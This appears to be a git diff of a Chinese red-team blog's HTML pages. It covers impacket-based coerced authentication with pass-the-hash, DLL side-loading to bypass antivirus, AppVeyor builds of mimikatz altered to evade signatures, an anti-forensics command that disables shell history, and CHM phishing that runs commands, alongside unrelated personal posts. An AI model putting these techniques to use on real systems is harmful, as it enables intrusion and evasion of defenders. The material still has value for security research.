首先通过DCERPCTransportFactory获取transport对象,DCERPCTransportFactory主要是为了确定RPC的协议序列,关于协议序列的知识可以通过这个文档了解。上方的示例代码ncacn_np:192.168.117.141[\pipe\spoolss]表示了这个RPC通过命名管道连接。连接成功以后,impacket通过set_credentials完成凭证的设置,说起set_credentials,不得不称赞impacket的开发者,只要使用impacket的set_credentials就能轻松进行PTH,因为set_credentials的参数很友好:

第二步是通过MS-RPCE绑定对象,MSRPC_UUID_RPRN 就是PRRN的UUID。

通过前两步,我们其实可以调用任意RPC对象,并支持PTH认证,最后一步dce.request其实就是调用RPC对象里面的方法。

0x04 实现效果

在Kali Linux上执行脚本,让Win10访问我的博客地址:

Win10上的效果:

可以看到,认证成功,并成功访问了我的博客。

0x05 结论

使用impacket开发武器化脚本比 C/C++ 要快的很多,并且对于协议底层的封装impacket做的非常出众。这个脚本我没有想过继续优化,因为CornerShot做的更好,作者已经将多种办法集成到了这个项目中。

参考

\ No newline at end of file diff --git a/archivers/2022-08-17/1/index.html b/archivers/2022-08-17/1/index.html index 9dff94c..2235fb6 100644 --- a/archivers/2022-08-17/1/index.html +++ b/archivers/2022-08-17/1/index.html @@ -233,4 +233,4 @@ return TRUE; }

0x03 加载任意dll测试

双击Invoke-Loader.exe,就会弹出计算器:

通过ProcessMonitor分析一下过程是不是如我所想的那样:

首先创建了2.log,内容是DllMain.dll的绝对路径,然后再创建loaddll.exe:

主线程创建的时候因为是暂停状态,是没有加载任何dll的,当文件映射设置完毕,恢复线程状态后,它成功的加载了DllMain.dll。 -

这里的calc.exe的父进程是loaddll.exe。

0x04 总结

该程序上次更新已经是2020年了,可能已经被大范围滥用。

白加黑是一个降低红队攻击成本的一个方案,能够规避很多杀毒软件的拦截和扫描,在应急响应阶段对于签名程序的分析应更加关注签名程序加载的模块、进程行为做了哪些操作,签名验证仅仅是提高了攻击的门槛,不应该绝对信任签名程序。

\ No newline at end of file +

这里的calc.exe的父进程是loaddll.exe。

0x04 总结

该程序上次更新已经是2020年了,可能已经被大范围滥用。

白加黑是一个降低红队攻击成本的一个方案,能够规避很多杀毒软件的拦截和扫描,在应急响应阶段对于签名程序的分析应更加关注签名程序加载的模块、进程行为做了哪些操作,签名验证仅仅是提高了攻击的门槛,不应该绝对信任签名程序。

\ No newline at end of file diff --git a/archivers/2022-09-03/1/index.html b/archivers/2022-09-03/1/index.html index 5e3ed1b..235e12d 100644 --- a/archivers/2022-09-03/1/index.html +++ b/archivers/2022-09-03/1/index.html @@ -1,3 +1,3 @@ 分享一下最近使用Arch Linux的感受 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

03 -Sep 2022

分享一下最近使用Arch Linux的感受

Arch Linux是一款基于x86-64架构的Linux发行版。系统主要由自由和开源软件组成,支持社区参与。系统设计以KISS原则(保持简单和愚蠢)为总体指导原则,注重代码正确、优雅和极简主义,期待用户能够愿意去理解系统的操作。Arch Linux系统安装、删除和更新软件的软件包管理器叫做pacman。

Arch Linux采用滚动发行模式来获取系统更新和软件的最新版本。系统安装映像只简单地包含系统主要组件。

Arch Linux以社区Wiki的形式提供文档,称为Arch Wiki。该Wiki经常编有特定主题的最新信息,受到了Linux社区的广泛认可,内容也应用在Arch Linux以外的领域。

去年在@三米前有蕉皮的推荐下,开始正式使用Arch Linux,起初在安装的过程中是有一些不适应的,以往使用最多的Linux发行版就是Debain系列(主要以Ubuntu为主),在安装方面Ubuntu做了很多的优化,可以像Windows那样快速分区、快速安装系统。但Arch Linux就不一样了,安装过程中所有步骤都需要亲历亲为,这一点能让我更加了解Linux,参照官方的WiKi可以配置出更适合自己的操作系统。

Arch Linux在软件更新方面也非常出众,它存在两种软件源,一种是被纳入了官方社区的软件包,另外一种则是用户自己发布的软件包(AUR),AUR的包越受欢迎、更多人投票支持会被纳入官方社区的软件包,因此官方社区的软件包更加的可靠、安全。Arch Linux使用pacman作为包管理器,同样的还有一些图形界面的软件包管理器,每天都会有最新的软件包更新,可以通过sudo pacman -Syu 更新操作系统。采用滚动发行模式最大的优点就是可以随时体验到所有软件的最新特性,虽说很多人会觉得滚动更新可能会导致系统崩溃或某些功能无法正常使用,但我用了一年多都没有发生类似的问题,这可能与用户安装的软件源有关系,况且我使用的软件较少。

例如:metasploit 、sqlmap 、nmap 、impacket等等大部分工具都已经集成到了官方社区,都可以直接安装。

Arch Linux的桌面环境有很多中,取决于你喜欢什么桌面环境(KDE、gnome、xfce…),我个人比较喜欢xfce4,它和Kali Linux现在的最新版所使用的桌面环境是一致的,意味着关于xfce的配置我能直接Copy Kali Linux的。

最近将自己写的软件发布到了AUR,可以直接通过AUR安装工具进行安装:

AUR仓库地址:https://aur.archlinux.org/packages/red-tldr

游戏方面,当属Steam为主了,只要是支持Linux平台的都可以完美运行。

支持Linux的大作游戏并不多,如果是重度游戏患者可能不太适合Linux,对于我而言,Arch Linux未来可能会陪伴我走很多年。

我安装的软件包列表都在Github仓库自动更新:https://github.com/Rvn0xsy/pacman-pkg

\ No newline at end of file +Sep 2022

分享一下最近使用Arch Linux的感受

Arch Linux是一款基于x86-64架构的Linux发行版。系统主要由自由和开源软件组成,支持社区参与。系统设计以KISS原则(保持简单和愚蠢)为总体指导原则,注重代码正确、优雅和极简主义,期待用户能够愿意去理解系统的操作。Arch Linux系统安装、删除和更新软件的软件包管理器叫做pacman。

Arch Linux采用滚动发行模式来获取系统更新和软件的最新版本。系统安装映像只简单地包含系统主要组件。

Arch Linux以社区Wiki的形式提供文档,称为Arch Wiki。该Wiki经常编有特定主题的最新信息,受到了Linux社区的广泛认可,内容也应用在Arch Linux以外的领域。

去年在@三米前有蕉皮的推荐下,开始正式使用Arch Linux,起初在安装的过程中是有一些不适应的,以往使用最多的Linux发行版就是Debain系列(主要以Ubuntu为主),在安装方面Ubuntu做了很多的优化,可以像Windows那样快速分区、快速安装系统。但Arch Linux就不一样了,安装过程中所有步骤都需要亲历亲为,这一点能让我更加了解Linux,参照官方的WiKi可以配置出更适合自己的操作系统。

Arch Linux在软件更新方面也非常出众,它存在两种软件源,一种是被纳入了官方社区的软件包,另外一种则是用户自己发布的软件包(AUR),AUR的包越受欢迎、更多人投票支持会被纳入官方社区的软件包,因此官方社区的软件包更加的可靠、安全。Arch Linux使用pacman作为包管理器,同样的还有一些图形界面的软件包管理器,每天都会有最新的软件包更新,可以通过sudo pacman -Syu 更新操作系统。采用滚动发行模式最大的优点就是可以随时体验到所有软件的最新特性,虽说很多人会觉得滚动更新可能会导致系统崩溃或某些功能无法正常使用,但我用了一年多都没有发生类似的问题,这可能与用户安装的软件源有关系,况且我使用的软件较少。

例如:metasploit 、sqlmap 、nmap 、impacket等等大部分工具都已经集成到了官方社区,都可以直接安装。

Arch Linux的桌面环境有很多中,取决于你喜欢什么桌面环境(KDE、gnome、xfce…),我个人比较喜欢xfce4,它和Kali Linux现在的最新版所使用的桌面环境是一致的,意味着关于xfce的配置我能直接Copy Kali Linux的。

最近将自己写的软件发布到了AUR,可以直接通过AUR安装工具进行安装:

AUR仓库地址:https://aur.archlinux.org/packages/red-tldr

游戏方面,当属Steam为主了,只要是支持Linux平台的都可以完美运行。

支持Linux的大作游戏并不多,如果是重度游戏患者可能不太适合Linux,对于我而言,Arch Linux未来可能会陪伴我走很多年。

我安装的软件包列表都在Github仓库自动更新:https://github.com/Rvn0xsy/pacman-pkg

\ No newline at end of file diff --git a/archivers/2022-09-19/1/index.html b/archivers/2022-09-19/1/index.html index 279a528..115b929 100644 --- a/archivers/2022-09-19/1/index.html +++ b/archivers/2022-09-19/1/index.html @@ -1,4 +1,4 @@ 我的三年红队生涯总结 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

19 Sep 2022

我的三年红队生涯总结

兴趣可以持续多久?

在公司的某天有幸帮助公司的一级部门去给某学院的学生分享了一堂课,主要是关于自学安全的话题。开始的时候分享了我的一些学习经历,我发现总结不出来如何培养自己的自学能力,因为第一个大前提:我做的是我热爱的事情,在年龄很小的时候就找到了自己喜欢的事情,为此愿意花大量的时间去探索技术,不断的学习。

从大部分普通应届生的角度来看找工作这件事,他们的选择往往很少,找到一个相对好的工作取决于自身在后天的积累是否能与社会某个职业的需要挂钩,但好像大多数学校的学生反馈的是专业知识都与职场应用有一定偏差,这就导致就业难,人生第一大门槛:“我该去往何方?”

我对兴趣的理解是:“兴趣是人生不可或缺的调味剂,一定程度能够影响半生的幸福。”一个好的兴趣是针对事物抱有无尽求知欲的,并且具备隐性的持续性,在探索的过程中、过程后,一定是情绪高涨,快乐的。我很庆幸,在年纪很小的时候拥有了兴趣,在不断探索求知的过程中,我不断收获成就感,洗涤内心的卑微,使得一个少年变得逐渐强大。

兴趣让我有了更多的选择,我的兴趣不只是安全领域,更深层次的总结可以说是对计算机网络相关的东西都感兴趣,它能使我化身成为程序员、网络工程师、产品经理、渗透测试人员等等。有许多次我都感慨,这是一个幸福的时代。以上摘自:我的博客文章-《这是一个充满挑战的好时代》

接触网络安全行业已经有9年的时间,准确说计算机网络相关的技术是9年时间,起初在2013、2014年的时候并没有想过自己所学的技术或本领能发展成一个有体系的工作。在这个过程中,我的职业之路已经有5个年头,不论是在工作的时候或在上学的时候,都有经常做技术分享(文字、演讲)形式的输出,技术不断再提升、认知在不断扩展、学习的方法论在慢慢形成。

随着时间的推移自己的年龄也在增长,对于兴趣这个词的认识也越来越深刻。我认为兴趣始终是一个自我驱动力的一个重要来源,从好奇某个技术到了解认识再到掌握,整个过程需要源源不断的坚持和自我激励。不知道是在哪一年,我在网上读到一句话我很喜欢,于是把它当作个性签名用到了现在,内容是这样:“执着于理想,纯粹于当下。”国内的红队职业人群最早大部分是从掌握渗透测试技术的人员转型的一个发展通道,红队对于这些人群去做红队来说既能保持自己对技术的兴趣还能时常通过自己的知识成果获得大量正反馈,让自己无限接近一个真正意义上的“黑客”。

我想很多人都有一个黑客梦,这条路是一个甘愿承受寂寞,能十年磨一剑的理想之路。互联网人往往都是喜欢求变的,对比社会上所有的行业,我们这帮人走的捷径太多了、知道捷径的机会也太多了,所以更害怕自己走错路、走弯路。当自己使用技术解决了很多问题以后,这种思维惯性就越来越明显,网络安全行业经过这几年的迅速发展,我们都是获利者,总认为还有一个最优解自己还没有找到。

近几年接触管理工作以后,经常遇到兴趣和工作不能两全的境地,而兴趣又好像变成了一个奢侈品,在长大的这几年,忽然发现时间和精力、现实生活都需要得到平衡,总在工作和生活中的需要与被需要之间平衡。在这种平衡之间,我愈发觉得兴趣不能消失,在这三年的阶段里我的兴趣和红队工作是一种双螺旋结构的相互依存且稳定的关系,自己对热爱的执着也不能放下,它都是我人生中宝贵的奢侈品,兴趣我可以坚持追求一辈子,即便是追求或享受兴趣的形式改变了依旧要坚持下去。

红队是一个特殊的团队,做攻击和做防御到底哪个难?

我对于红队的认识概括:红队是一群道德黑客组成的团体,主要目的是为了仿真网络空间中的攻击者所使用的技术来发现组织的安全问题。我工作中接触的很多朋友、客户、同事对于红队都不太了解,或者说与我认识的红队有一些差异,这里我想通过我三年建设红队和做红队的角度进行一个诠释。

为什么我说红队是一个特殊的团队,其实主要在于工作方式,而工作方式又受到环境因素的影响,宏观上近五年内由于行业对于网络安全人才的缺口激增、社会数字化转型加速,其实到今天红队体系建设还是在萌芽期,网络安全行业也是还在一个初步发展期。通过实战攻防演练的形式推动安全建设工作是起到了明显作用,这也意味着红队面临的挑战除了攻防演练的数量增加还有就是自身的能力要兼容不同安全建设水平的场景还要发挥明显作用。

微观上在这个环境因素下导致很多红队会怀疑自己是否还能继续做红队,其次就是发现自己所掌握的知识点面对工作的需求宛如冰山一角,因为大多数人都适应不了这个节奏,于是有人开始退出红队战场转型做防御生态相关的工作。除了精神上的考验还有体力上的考验,红队也像互联网行业一样有中年危机,面对防御水平高的目标时经常会深夜打闪电战,钻研技术时也都喜欢熬夜写代码等等,是因为晚上夜深人静,内心归于平静,大脑活动活跃,创作冲动或创造能力更加敏锐,年龄大一些的身体上可能就吃不消了。

还有性格方面,大多数红队性格都比较不善表达,大白话说就是容易一根筋,但这群人最难管理也最简单。之前在公司有人问我,你们红队到底谁技术最厉害?我回答:红队没有最厉害的,只有最适合的。没有哪个黑客可以达到全能,仅仅是能接近于全能,就像光速和“最快”还是有很大差距的,而这个差距是未知的,每个人都有擅长的领域,要看解决问题的场景而定。

再说回做攻击和做防御到底哪个难,我是觉得做攻击和做防御都难,这句好像是一句废话文学。我没有在甲方工作过,这里就写一写我在乙方红队工作中对于这个问题的一些感受。在实战攻防演练中,这两年0day漏洞攻击和社工/钓鱼的手段使用的越来越多,一方面是因为客户的安全建设开始有投入,暴露面得到收拢,不容易发现进入内网的漏洞,另外一方面是很多时候客户的需求会限定一些攻击手段或者限定攻击的范围。这里我还是搬出我对红队的理解,红队主要目的是为了仿真网络空间中的攻击者所使用的技术来发现组织的安全问题,那么在这些限定的条件下(时间、范围、攻击手段),必然不能仿真全部技术,所以项目的结果无法达到客户的预期,红队也很难出成果。在限定条件下想要获得全面的结果是不现实的,这是一个认知冲突。其实生活中的矛盾也都像这个问题一样有互通性。这里也抛出一个问题来解释,为什么很多红队宁更愿意做内网渗透?因为现在很多甲方的终端和内网的安全建设水平做的还不如边界资产的安全,红队可以发现很多安全问题、仿真许多攻击技术,得到更多的正反馈。

做红队的好处有哪些?

做红队的好处其实有很多,由于环境因素,我仅是通过互联网了解国内的红队和国外的红队有一些差异,国外的红队可能更聚焦于企业安全视角的对抗,国内的红队既聚焦于实战演练又聚焦于企业红队。大量的红队选手既要进行攻防演练赛事的支撑,还要做企业红队,在我看来各有各的好处,攻防演练能将红队技术的运用更加发散,可以接触不同防御水平的场景,在发现安全问题的同时对红队的技术能力得到全面锻炼,而且还有监管单位背书。在做企业红队的时候节奏就不像攻防演练那样需要短时间内出成果,PK的火药味没有那么浓烈,反而遇到的有趣问题比较多。

记得某次在客户现场做企业红队的时候,运用到了一个通过任务计划下发程序,弹出诱导用户输入明文凭据然后将凭据回传,而这个程序没有现成的,就临时写了一个MFC窗口。这种场景运用到的技术在需要快速出成果的监管部门举办的攻防演练中一般不会用到,主要是时间比较紧凑,红队人员精力有限,不会在一个目标上花费太多精力。

总体来看,红队可以接触许多场景,能力可以发散成长,可以工作中找到自己感兴趣的方向。除了实战锻炼,红队还需要研究各种BYPASS技巧,使得技术手段可以绕过防御的检测和拦截,这对于掌握安全研究技能是一个很好的切入点。

在2021年的总结我写道:“做安全研究工作非常需要知识的提炼能力,这一点至关重要,如今的计算机高速发展、硬件软件架构依赖性错综复杂,要解决问题需要在研究的过程中过滤很多的重点知识,比较考验计算机网络的基础知识,能做好基础知识的归纳总结,并且还能够做好布道者这一角色,尤为重要。大部分非科班出身且没有接受完整应试教育的人,都不会去搞枯燥的研究,宁愿做一个一直以经验增长为核心能力的人。说了那么多,其实我想表达的是要时刻对自己的工作有要求、有目标,对于团队的成员,我鼓励每一个人去做自我驱动的事情,热情也好、兴趣也好、爱好也好,这便是一种幸福。

有时候我会思考做安全研究到底需不需要天赋,用什么标准衡量有天赋还是没天赋?研究这个问题前,我认为应该先给安全研究做一个鲜明的定义。首先,研究工作的成果影响力是巨大的,影响力又同样取决于研究问题的微观程度,这个微观程度的小指的是我们人类对研究对象认知的深度。

例如宇宙的形成、万有引力、生物遗传等等,而计算机要解决的问题是如何更高效的计算,安全研究仅是从多个维度上(人、资产、流程)上发现安全问题、快速发现安全问题、解决安全问题、快速解决安全问题、根除安全问题。红队安全研究,大部分仅涉及发现安全问题、快速发现安全问题。因此,安全研究的定义随之而来,为了发现或解决安全问题而去做的研究工作。那么,搞安全研究真的需要天赋么?我觉得天赋其实不太重要,从人类基数上来看天才是永远占少数的,尽管很多人都想着自己能成为天才、或者他自己本身就是天才,我想我最大可能(100%)就是最平凡的大多数,这个问题就不那么重要了(逻辑鬼才)。“

关于BYPASS的安全研究和漏洞挖掘工作都需要一个真实的环境,红队会使用很多虚拟化软件承载自己的实验平台,但无法直接模拟整个企业的防御环境进行对抗,尤其是网络流量的防御能力不能很好的模拟,所以大多数红队都会关注终端安全方向。在研究或者挖掘漏洞的过程中,红队会需要编程技能辅助自己进行自动化以提升效率,大部分红队都会掌握一门或多门短平快的脚本语言、编译型语言。这些杂项技能让红队看起来是全能型的,也会营造出一个全能黑客的假象。在红队工作中不断的解决问题,会让自己形成主动学习、主动研究的习惯,这种习惯是后天磨砺出来的,终身受用。

红队的价值是什么?

这里要展开说两方面,一方面是针对红队雇主内部的价值,一方面是客户的价值。

对雇主内部的价值,主要能够体现在帮助企业获得影响力、发现的诸多安全问题来促进商机、产品能力提升、直接业绩。在我经历的三年红队生涯中,红队产生的直接业绩是微乎其微的,反而走影响力的这个路线走的很好。影响力、品牌、商机,这些都是隐性价值,其他人(大部分业绩部门)无法直观感受到红队的重要性,红队不参与商务的大部分流程,所以红队对数字的敏感度不如业务属性部门。如果直接考核红队的直接业绩,那么影响力的效果可能不会那么理想。

再说道产品能力提升,很多厂商的产品部门多少都会遇到自己的产品无法发挥拳头作用,缺少有经验的人参与实战打磨,这个时候就需要红队将自己所掌握的技术赋能到产品,提升产品的能力和防护策略的有效性。经历了这两年的疫情对经济的打击,安全行业市场发展走低,但红队人员的成本是在持续走高的,这时候一个冲突结点随之出现……

红队对客户的价值,红队可以仿真网络空间中的攻击者所使用的技术来发现客户的安全问题,对于有想对企业整体安全评估需求的客户,可以选择红队进行服务。这里整体指的是最大范围的整体,凡是可以影响到安全问题的所有实体,包括但不限于:系统、网络、人员、流程制度等等。

最初我在设计评估方案的时候,理想的评估周期是半个月或一个月,后来攻防演练的频繁出镜,客户更容易接受多家PK竞争的模式,这种模式利好买家,评估周期就会变成一周或者最长一周半,假设还是金融行业的银行客户,这对于红队想要发现严重级别的安全问题要求就更高了。

我的红队三年生涯

任何一份工作都是阶段性的,这五年的工作经历中,面对不同的同事都有聊到过一个话题:“你的三年/五年规划是什么?”第一份和第二份工作我对三年五载的规划都没有太明显的感受,起初我毫无方向,就像天空中漂浮的蒲公英,随风而去、随遇而安的样子,在飘荡的日子里也曾做过很多冲动的抉择,为什么我要用冲动这个词,冲动代表了是过去的自己做出了在那个时段正确的决定。在毫无方向的时候,冲动不是一个坏处,反而要犯错改错才能成长。倘若是经常否定自己做错了、选错了,那好像也很难再进步。

人生都有一个核心的问题:“我从哪里来,我要到哪里去。”我理解这句话的意思应该是我为何来到世间,我要到世间哪个地方去。工作了第5个年头我终于理解三年五载的规划代表了什么含义,是想让自己能有一个清晰的目标去奋斗、去改变,即便是自己的认知每天都在提升,也要做一做规划,写一写想法。时至今日,我认为当初决定做红队的选择依然正确。

2019的部分总结:我非常热爱技术,什么都想会一点,至今为止都觉得全能高手是存在的,也不会浮躁,只优先选择自己热爱的,这点是有些固执的,时常沉浸其中、乐在其中,做技术带给我的反馈有很多,它不断的印证一就是一,不管如何都不会变成二。其次,不断印证类似于成功学中的大道理,努力就有收获之类的话题。技术是我的爱好,而我的工作建设在爱好之上,这对于许多人来说是多么幸福的一件事啊。但有一天我开始怀疑,因为我从一个前辈身上感受到,他除了有和我相同类似的工作的同时,还拥有一个更热爱的爱好,我觉得这是对幸福的一种加持。我开始觉得工作与爱好的融合会让爱好变得浑浊,不那么纯粹。工作是有棱角的,而爱好是没有棱角的。这样的情况普遍也很多,这倒也还算过得去。

2020年的部分总结:从2020年X月起初到2020年X月份,实验室成员目前达到X人,现有工作需求的技术都慢慢开始饱和。从年初刚开始的X人发展到X人,期间遇到项目上、管理上的许多问题,问题的最初在我自身,在明确方向的工作上和需要执行的工作上没有平衡,欠缺思考的时间。通过逐步的现象总结,能够解决一部分问题,强调了关于部门价值观、绩效考核、工作效率等等问题,但这种方式不能够持续解决已经遇到过的问题,于是开始落地标准化来形成管理工具,我发现我的日常思考的结果是存在某些管理框架内的,是有特定的方法的,这对于我自身是很大的提升。

个人技能:从去年到现在一直在推荐落地Demo这块工作,我发现内部已经形成感染力,对于一些研究、实战的需求有了更多的思考。从技术成长的角度来看,需要发展成为“T”字型人才,这样才能应对更多的考验,自身擅长的方向有一定沉淀,以“专精之余而触类旁通”来规划自己一个阶段的学习方向,管理好精力与时间是我有待练习和加强的。

2021年的部分总结:每一个企业都有战略资源部门,我理解的战略资源部门是这个部门的能力具备稀缺性的,复制需要巨大成本,如果利用得当,会产生巨大增益,反之当战略资源投入的衡量方式有问题就会产生战略资源部门管理上的压力,我所处于的就是一个战略资源部门,我长期以来遇到最大的问题就是关于战略价值的衡量,哪种类型的项目需要投入多少资源可能是项目管理上屡见不鲜的问题,对于PM来说,解决这种问题一定是有现成的公式或者工具,但作为一个Leader,考虑的因素就要多很多了,尤其是团队平均年龄比较年轻的,要为大家争取最大的利益,而且这种利益还可能是一种不可见的长远利益,你不能奢求大多数人可以理解,多数的牺牲是看不见的。

我解决这个问题的办法是不断的跨部门沟通,项目分级定义,投入产出对赌,跨部门的效果达到预期以后,我的成就感油然而生,即使在解决的过程中因为自己并不擅长,多次想过要逃避、斗争,但都坚持了下来,因为比起自己看不起自己,更怕的是无法回应太多人的期待。解决完成后,我就开始思考如何让团队的定位和目标更明确,让大家做的事儿更有边界,更贴合自身预期。于是在近年末的期间,让大家开始定制规划2022年的目标,将更多的力量投入到中台建设工作上来,这可能是对大家也是一个不小的挑战,尤其在思维上、技术上,相信大家一定可以。

这里简单晒一下我在今年离职前做职级晋升准备上报的近两年重点工作成果(日常交付项目除外):

一、业绩成果:

  1. 2021年大型攻防演练现场牵头,作为现场队长将传递有效信息到后端,现场编写技战法与报告整理,且代表公司获得HW BP讲师称号及证书
  2. 2022年大型攻防演练总牵头,前期预算申报、人员分组、方案制定、质量把控,带领团队拉通各部门进行红队工作

二、机制建设:

  1. 业绩承诺机制管理规定发布,明确了XX中心与XX中心内部,在红队资源申请及业绩承诺机制之间的基本原则,用于规范红队支撑,最大限度优化、聚焦红队资源,使之发挥最优的价值。指导红队支撑工作中产生的各类费用核算方法,XX中心、XX中心、XX部、XX部应按照本规定落实相关的核算工作,并逐步推进财务核算精细化管理。
  2. 持续推进红队中台能力建设,XX实验室红队平台的功能评审、需求反馈、漏洞和工具与XX实验室KPI绑定,辅助XX实验室持续迭代平台,至今已初步发挥价值,有用户且有业绩
  3. 公司红队梯队建设,在X总的建议下,与其他同事制定了XX中心红队的梯队建设模式、红队激励覆盖范围等机制
  4. 红队漏洞储备机制建设,设定XX实验室漏洞挖掘KPI,明确产出,并且提供到XX实验室漏洞平台,建立0day漏洞申请机制

三、影响力

对外: 编写红队彩虹书增加公司对外影响力,2021年编写红队彩虹书成功发布、2022年年初负责牵头编写红队彩虹书,跟进修订、修改,最终成功上市发布 -对内:任职资格标准修订,作为标准修订组长角色对2021年的任职资格标准重新修订,为红队方向发展人员提供晋升参考

这三年不仅具备了相对丰富的红队技术和业务经验,也尝试了一线的管理工作,往日与大家战斗的日子历历在目,在公司不知看过多少次日出,享受过红队那份荣耀、维护过红队那份骄傲,我的故事留在了这里,感恩那些包容过我的朋友、同事们,所有的离别都是为了更好的相遇……

\ No newline at end of file +对内:任职资格标准修订,作为标准修订组长角色对2021年的任职资格标准重新修订,为红队方向发展人员提供晋升参考

这三年不仅具备了相对丰富的红队技术和业务经验,也尝试了一线的管理工作,往日与大家战斗的日子历历在目,在公司不知看过多少次日出,享受过红队那份荣耀、维护过红队那份骄傲,我的故事留在了这里,感恩那些包容过我的朋友、同事们,所有的离别都是为了更好的相遇……

\ No newline at end of file diff --git a/archivers/2023-07-19/useful-software/index.html b/archivers/2023-07-19/useful-software/index.html index 4fde333..15ec5aa 100644 --- a/archivers/2023-07-19/useful-software/index.html +++ b/archivers/2023-07-19/useful-software/index.html @@ -1,3 +1,3 @@ 常用软件记录 - 倾旋的博客
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

19 -Jul 2023

常用软件记录

操作系统-[镜像]

推荐使用LTSC版本的操作系统,系统比较纯净,但需要激活

比较推荐直接去一些软件源上下载,这里举例清华源

操作系统工具-[Linux]

软件中心

软件分析

浏览器插件

影视资源

  • BT之家:btbtt15[.]com
  • 樱花动漫:yinghuadongman[.]me

操作系统工具-[Windows]

网页工具

\ No newline at end of file +Jul 2023

常用软件记录

操作系统-[镜像]

推荐使用LTSC版本的操作系统,系统比较纯净,但需要激活

比较推荐直接去一些软件源上下载,这里举例清华源

操作系统工具-[Linux]

软件中心

软件分析

浏览器插件

影视资源

操作系统工具-[Windows]

网页工具

\ No newline at end of file diff --git a/archivers/2023-07-23/appveyor/index.html b/archivers/2023-07-23/appveyor/index.html index a290435..f941755 100644 --- a/archivers/2023-07-23/appveyor/index.html +++ b/archivers/2023-07-23/appveyor/index.html @@ -30,4 +30,4 @@ Write-Host $newPath }; ls mimikatz; -

其中替换图标的操作可以改为从互联网下载某个地址的图标,这里就不赘述了。

我的配置文件地址:mimikatz/appveyor.yml at master · Rvn0xsy/mimikatz (github.com)

编译好的成品如下:

10

11

🥪总结

通过在线的CI/CD工具可以省去搭建环境的时间,由于CI/CD是事件触发的,每次改动都可以生成新的样本,相当于可以无限次的使用,若是有一些工具实在是非常敏感、静态特征多,可以像我这样写一个类似的批处理加入到CI/CD中做一些简单的对抗处理,本文仅仅是抛砖引玉,我相信还有更节约时间、更高效的方式。

\ No newline at end of file +

其中替换图标的操作可以改为从互联网下载某个地址的图标,这里就不赘述了。

我的配置文件地址:mimikatz/appveyor.yml at master · Rvn0xsy/mimikatz (github.com)

编译好的成品如下:

10

11

🥪总结

通过在线的CI/CD工具可以省去搭建环境的时间,由于CI/CD是事件触发的,每次改动都可以生成新的样本,相当于可以无限次的使用,若是有一些工具实在是非常敏感、静态特征多,可以像我这样写一个类似的批处理加入到CI/CD中做一些简单的对抗处理,本文仅仅是抛砖引玉,我相信还有更节约时间、更高效的方式。

\ No newline at end of file diff --git a/archivers/2023-08-07/clash-config/index.html b/archivers/2023-08-07/clash-config/index.html index 0a643fe..0138b9c 100644 --- a/archivers/2023-08-07/clash-config/index.html +++ b/archivers/2023-08-07/clash-config/index.html @@ -136,4 +136,4 @@ - IP-CIDR,10.10.0.0/16,工作环境,no-resolve - IP-CIDR,10.20.0.0/24,工作环境,no-resolve - ..... -

通过rules可以配置不同的DNS域名、IP-CIDR目标地址的流量该走到哪个代理链上,这里我的规则仅仅只是示例,为了达到更好的网络体验,规则是上达几百行的。

1

如此一来,工作/上网问题不需要切换代理解决了。

\ No newline at end of file +

通过rules可以配置不同的DNS域名、IP-CIDR目标地址的流量该走到哪个代理链上,这里我的规则仅仅只是示例,为了达到更好的网络体验,规则是上达几百行的。

1

如此一来,工作/上网问题不需要切换代理解决了。

\ No newline at end of file diff --git a/archivers/2023-08-10/redteam-operation-code-of-conduct/index.html b/archivers/2023-08-10/redteam-operation-code-of-conduct/index.html index 4b52ae5..7e0396d 100644 --- a/archivers/2023-08-10/redteam-operation-code-of-conduct/index.html +++ b/archivers/2023-08-10/redteam-operation-code-of-conduct/index.html @@ -12,4 +12,4 @@ export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0 -

反溯源注意事项

职业操守

\ No newline at end of file +

反溯源注意事项

职业操守

\ No newline at end of file diff --git a/archivers/2023-09-18/phishing/index.html b/archivers/2023-09-18/phishing/index.html index 7ff47ff..f25e1bb 100644 --- a/archivers/2023-09-18/phishing/index.html +++ b/archivers/2023-09-18/phishing/index.html @@ -34,4 +34,4 @@ <h1>Hello</h1> </body> </html> -

在这段代码中,调用了hhctrl.ocxCOM组件,该组件的方法可以执行命令:

3

COM组件方法列表:CLSID 52A2AAAE-085D-4187-97EA-8C30DB990436 | HHCtrl Object | STRONTIC

4

Atomic atomic-red-team/atomics/T1218.001/src/T1218.001.html at master · redcanaryco/atomic-red-team (github.com) 给出的测试用例代码调用的是Click方法,我测试了HHClick也能够触发。

我在本地尝试编译了一个弹出计算器的CHM文档,上传至VirusTotal进行分析:

5

在ATT&CK中也提到有攻击组织采用调用ActiveX对象的方法来对文件进行操作,这个过程可能不会创建进程:

6

CHM文件执行命令的防御措施

这里可以直接总结一下ATT&CK矩阵上的建议:

  1. 阻止CHM文件的下载
  2. 进程监控,监视和分析hh.exe的执行和参数。将最近调用的hh.exe与已知良好参数的先前历史记录进行比较,以确定异常和潜在的对抗性活动(例如:混淆和/或恶意命令)。非标准进程执行树也可能指示可疑或恶意行为,例如,如果hh.exe是与其他对抗性技术相关的可疑进程和活动的父进程。

参考

\ No newline at end of file +

在这段代码中,调用了hhctrl.ocxCOM组件,该组件的方法可以执行命令:

3

COM组件方法列表:CLSID 52A2AAAE-085D-4187-97EA-8C30DB990436 | HHCtrl Object | STRONTIC

4

Atomic atomic-red-team/atomics/T1218.001/src/T1218.001.html at master · redcanaryco/atomic-red-team (github.com) 给出的测试用例代码调用的是Click方法,我测试了HHClick也能够触发。

我在本地尝试编译了一个弹出计算器的CHM文档,上传至VirusTotal进行分析:

5

在ATT&CK中也提到有攻击组织采用调用ActiveX对象的方法来对文件进行操作,这个过程可能不会创建进程:

6

CHM文件执行命令的防御措施

这里可以直接总结一下ATT&CK矩阵上的建议:

  1. 阻止CHM文件的下载
  2. 进程监控,监视和分析hh.exe的执行和参数。将最近调用的hh.exe与已知良好参数的先前历史记录进行比较,以确定异常和潜在的对抗性活动(例如:混淆和/或恶意命令)。非标准进程执行树也可能指示可疑或恶意行为,例如,如果hh.exe是与其他对抗性技术相关的可疑进程和活动的父进程。

参考

